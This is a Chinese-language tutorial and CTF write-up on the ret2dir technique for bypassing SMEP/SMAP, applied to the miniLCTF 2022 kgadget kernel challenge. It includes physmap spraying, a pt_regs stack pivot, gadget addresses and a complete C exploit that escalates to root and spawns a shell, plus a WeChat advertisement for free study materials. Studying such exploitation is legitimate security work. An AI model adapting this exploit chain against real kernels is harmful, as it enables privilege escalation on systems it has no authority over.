前言
ret2dir
是2014年在USENIX發表的一篇論文,該論文提出針對ret2usr
提出的SMEP
、SMAP
等保護的繞過。全稱爲return-to-direct-mapped memory
,返回直接映射的內存。
ret2dir
在SMEP
與SMAP
等用於隔離用戶與內核空間的保護出現時,內核中常用的利用手法是ret2usr
,如下圖所示(圖片來自論文)。首先是在內核中找到可以控制指針的漏洞,修改指針使其指向爲用戶空間,因此在用戶空間佈置惡意的數據或者代碼,完成漏洞的利用。但是當SMEP
與SMAP
保護的出現,在內核態下,不能夠執行或者訪問用戶空間的代碼或者數據,導致了該利用方式失效,因爲即使在用戶空間中部署了payload
,在內核態下也無法訪問。因此這種通過顯示數據的共享方式已經不再適用了。
所以作者提出了一種思路,能否在內核空間中也能夠訪問到用戶空間的數據。作者最終找到了一段區域,可以隱式的訪問用戶空間的數據。在內核中存在這部分區域direct mapping of all physical memory
,物理地址直接映射區。
這個映射區其實就是內核空間會與物理地址空間進行線性的映射,我們可以在這段區域直接訪問到物理地址對應的內容。
那麼作者就提出了一種攻擊場景,由於在虛地址中的內容最終都會映射到物理地址上,若能將用戶空間的數據同樣映射到這段區域上,豈不是就可以在內核空間也可以訪問到用戶空間的數據了。該段區域也被稱之爲phsymap
,它是一段大的,連續的虛擬內存區域,它包含了部分或全部的物理內存的直接映射。下圖這種情況作者也稱之爲是虛擬地址別名的情況,因爲在用戶空間與內核空間中都存在一個地址可以訪問payload
。
最終作者構想的攻擊場景如下圖所示(圖片來自論文),不同於ret2usr
,指針不再被修改爲指向用戶空間,而是指向了物理地址的直接映射區,由於該映射區指向物理地址,而在用戶空間構造的payload
也會映射到物理地址,因此若能獲得指向存在payload
的用戶空間對應的物理地址在phsymap
位置,就能夠直接執行用戶空間的payload
。
想要獲得映射地址有以下方法
(1)通過讀取/proc/pid/pagemap
獲取,該文件中存放了物理地址與虛擬地址的映射關係,可是該文件需要root
權限才能讀取。
(2)通過大量覆蓋phsymap
內存的方法,提高命中率。使用堆噴技術,在該內存區填充大量的payload
這樣既不會影響payload
的執行,又能夠提高命中payload
的可能性,填充效果如下圖
在舊版本的內核中phsymap
是具有可執行權限的,因此可以在用戶空間中填充shellcode
,但是如今的內核版本phsymap
已經不具備可執行權限了,因此只能在裏面填充ROP
鏈
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
miniLCTF_2022-kgadget
題目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/miniLCTF_2022
kgadget_ioctl
在kgadget_ioctl
中,當我們輸入的操作碼爲0x1BF52
時,會將rdx
寄存器中的值進行解引用,並且以函數的方式調用該地址,這就導致了任意地址執行。
run.sh
題目提供的run.sh
開啓了smep
與smap
的保護,但是沒有開啓地址隨機化KASLR
。因此雖然我們可以控制內核執行任意的地址,但是由於題目開啓了smep
與smap
,因此該地址值不能選擇爲用戶空間的地址。
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel bzImage \
-initrd ./rootfs.cpio.gz \
-nographic \
-monitor /dev/null \
-snapshot \
-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
-no-reboot \
-s
ret2dir利用流程
首先是如何執行我們指定的地址值的,可以看到實際是將我們傳入的地址,解引用後存放到rbx
寄存器,結果通過將rbx
寄存器的值移動到棧頂,從而修改棧頂的值,接着調用ret
指令,使得執行被解引用的值。
想要使得內核提權,需要執行commit(prepare_kernel_cred(0)
,接着通過swapgs
和ret
指令的組合。因此需要找到一段內存,將該流程的ROP
鏈填充進去。這是因爲kgadget_ioctl
並不是執行我們傳入進去的地址,而是需要將該地址先解引用後再執行,相當於需要執行傳入地址對應的內容。因此若我們直接將commit
函數的地址傳入進去,它會執行commit
函數指向的內容。
那麼這段區域需要選取在哪裏,若我們直接再用戶空間中構造這段payload
,接着將用戶空間地址傳遞給ioctl
是不可行的,因爲內核開啓了smap
與smep
的保護,因此對用戶空間的訪問都是不被允許的。
因此需要用到ret2dir
的技巧,由於用戶空間的虛擬地址同樣會映射到物理地址,而在內核空間存在一段內存被稱之爲phsymap
,它存放着物理地址的內容,因此我們在用戶空間填充的內容,可以在phsymap
找到。但是這段內存十分龐大,有64TB的大小,我們怎麼才能確保搜索到存放我們payload
的地址呢?答案就是儘可能的填充,使得我們用戶空間的payload
儘可能的大,那麼我們搜索到的機率也會增大。
我們以頁(4096
)爲單位開闢內存,並且循環了0x4000
次,
void copy_dir()
{
char *payload;
payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
for (int i = 0; i < 4096; i++)
payload[i] = 'z';
}
...
int main()
{
...
for(int i = 0; i < 0x4000; i++)
copy_dir();
}
可以發現,在用戶空間寫入的z
值,我們在內核空間同樣可以訪問到。當然寫入的次數以及字節數是可以自己人爲調整的,可以頻繁嘗試,儘可能的大的填充,這樣我們找到的機率也更大。
當然有時候頁的大小頁不一定是4096,因此可以使用getconf PAGESIZE
獲得頁的大小
因此我們已經找到能夠訪問到用戶空間payload
的內核地址值,接着需要將內核棧的空間遷移到phsymap
上,這是因爲用原來的內核棧無法使得連續gadget
之間的調用。這裏修改爲測試gadget
,用於測試不做棧遷移會發生什麼。
unsigned long *payload;
payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
payload[0] = 0xffffffff8108c6f0; //pop_rdi;ret;
payload[1] = 0xffffffff8108c6f0; //pop_rdi;ret;
可以看到執行一次pop rdi; ret
,這是因爲ret
指令會將當前棧頂的值彈出棧,而我們輸入的值不再棧上,而是在phsymap
上。因此當我們輸入的ROP
鏈不再棧上時,就需要使用棧遷移。
由於內核中存在着需要改變rsp
寄存器的gadget
,只要使用add rsp, xxx; ret
即可完成棧遷移。因此需要在棧上填入phsymap
的地址,使得經過add rsp, xxx
後能夠使得rsp
指向phsymap
。爲了使得棧上能夠存儲phsymap
的地址,這裏需要藉助一個結構體pt_regs
。
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
可以看到這個結構體存放了一系列的寄存器,這是因爲在進行系統調用時,會完成從用戶態到內核態的切換,因此需要保存用戶態時的上下文寄存器,而這些寄存器的值都需要保存在pt_regs
中。使用下述代碼測試上述pt_regs
結構體存放的位置。
target = 0xffff888000000000 + 0x6000000;
__asm(
".intel_syntax noprefix;"
"mov r15, 0x15151515;"
"mov r14, 0x14141414;"
"mov r13, 0x13131313;"
"mov r12, 0x12121212;"
"mov r11, 0x11111111;"
"mov r10, 0x10101010;"
"mov r9, 0x99999999;"
"mov r8, 0x88888888;"
"mov rax, 0x10;"
"mov rcx, 0xcccccccc;"
"mov rdx, target;"
"mov rsi, 0x1BF52;"
"mov rdi, fd;"
"syscall;"
".att_syntax;"
);
可以看到我們在執行系統調用之前的參數,都會以pt_regs
結構體中的順序進行存放,這裏需要注意的是r11
寄存器用來存放了rflags
的值。
不過出題者在會對pt_regs
結構體中的部分寄存器的值進行修改。
最後只剩下r8
與r9
寄存器是可控的。但是隻是用兩個寄存器的值就足於完成棧遷移的操作了。
這裏可以計算一下棧頂到r9
寄存器的距離0xffffc9000021ff98 - 0xffffc9000021fed0 = 0xc8
,因此找到add rsp 0xc0
的寄存器即可,因爲ret
指令還會進行一次彈棧操作。這裏一開始是使用extract-image.sh
進行提取,但是會報錯。因此改用vmlinux-to-elf
,這個工具提取出的符號比較全。工具的地址爲https://github.com/marin-m/vmlinux-to-elf
提取出來就可以愉快的獲取gadget
。由於沒找到add 0xc8
的gadget
,因此找了個平替的。再結合pop rsp; ret
指令即可完成棧遷移的操作。
add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
pop rsp; ret;
接着需要考慮堆噴的填充大量內存,因爲題目沒有開啓地址隨機化,因此即使不使用堆噴,也能夠定位到具體的地址,但是實際情況是該地址可以隨機,因此需要確保落入到其他地址也能完成利用。由於第一條指令必須是add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
,因爲需要進行棧遷移。因此在一頁的內存中,因使用盡量多的該指令進行填充,確保棧遷移的正常執行。
由於完成提權的payload
需要0x58
的大小,而該指令會將rsp
擡高0xc0
,因此用(4096 - 0x58 - 0xc0) / 8 = 0x1dd
,因此這裏循環複製該指令0x1dd
次,接着將剩餘空間使用ret
指令(常用的堆噴的指令)填充(這裏使用了xor esi , esi; ret
,因爲異或操作不影響。)
for (int i = 0; i < 0x1dd; i++)
payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
for (int i = 0; i < 24; i++)
payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;
最後是在提權時沒找到合適gadget
將prepare_kernel_cred
的返回值即rax
寄存器的值,移動到rdi
寄存器中。因此學了下出題者的wp
,發現出題者使用了init_cred
結構體作爲commit_creds
函數的參數。
init_cred
是 Linux 內核中的一個結構體,用於表示進程的初始憑證。它包含了與進程相關的安全屬性和權限信息。,init_cred
結構體通常用於表示初始的 root 憑證。因此只需要藉助一個pop rdi;ret
的gadget
加上init_cred
結構體的地址就可以完成root
憑證的初始化了。
exp
最後完整的exp
如下
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#define COLOR_NONE "\033[0m" //表示清除前面設置的格式
#define RED "\033[1;31;40m" //40表示背景色爲黑色, 1 表示高亮
#define BLUE "\033[1;34;40m"
#define GREEN "\033[1;32;40m"
#define YELLOW "\033[1;33;40m"
/*
0xffffffff81488561: add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
0xffffffff810c92e0: T commit_creds
0xffffffff810c9540: T prepare_kernel_cred
0xffffffff81224afc: xor esi, esi; ret;
0xffffffff8108c6f0: pop rdi; ret;
0xffffffff82a6b700 D init_cred;
0xffffffff81c00fb0 T swapgs_restore_regs_and_return_to_usermode
0xffffffff811483d0: pop rsp; ret;
*/
int fd;
unsigned long user_ss, user_cs, user_sp, user_rflags;
unsigned long target;
unsigned long target1;
void save_state();
void copy_dir();
void back_door();
void back_door()
{
printf(RED"getshell");
system("/bin/sh");
}
void copy_dir()
{
unsigned long *payload;
unsigned int index = 0;
payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
for (int i = 0; i < 0x1dd; i++)
payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
for (int i = 0; i < 24; i++)
payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;
payload[index++] = 0xffffffff8108c6f0; // pop rdi ret
payload[index++] = 0xffffffff82a6b700; //init_cred
payload[index++] = 0xffffffff810c92e0; //commit_creds
payload[index++] = 0xffffffff81c00fb0 + 0x1b; //swapgs_restore_regs_and_return_to_usermode
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)back_door;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
}
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_ss, ss;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
printf(RED"[*]save state\n");
printf(BLUE"[+]user_ss:0x%lx\n", user_ss);
printf(BLUE"[+]user_cs:0x%lx\n", user_cs);
printf(BLUE"[+]user_cs:0x%lx\n", user_sp);
printf(BLUE"[+]user_rflags:0x%lx\n", user_rflags);
printf(RED"[*]save finish\n");
}
int main()
{
save_state();
fd = open("/dev/kgadget", O_RDWR);
/*
for(int i = 0; i < 0x4000; i++)
copy_dir();
*/
target = 0xffff888000000000 + 0x6000000;
__asm(
".intel_syntax noprefix;"
"mov r15, 0x15151515;"
"mov r14, 0x14141414;"
"mov r13, 0x13131313;"
"mov r12, 0x12121212;"
"mov r11, 0x11111111;"
"mov r10, 0x10101010;"
"mov r9, 0xffffffff811483d0;"
"mov r8, target;"
"mov rax, 0x10;"
"mov rcx, 0xcccccccc;"
"mov rdx, target;"
"mov rsi, 0x1BF52;"
"mov rdi, fd;"
"syscall;"
".att_syntax;"
);
}
更多網安技能的在線實操練習,請點擊這裏>>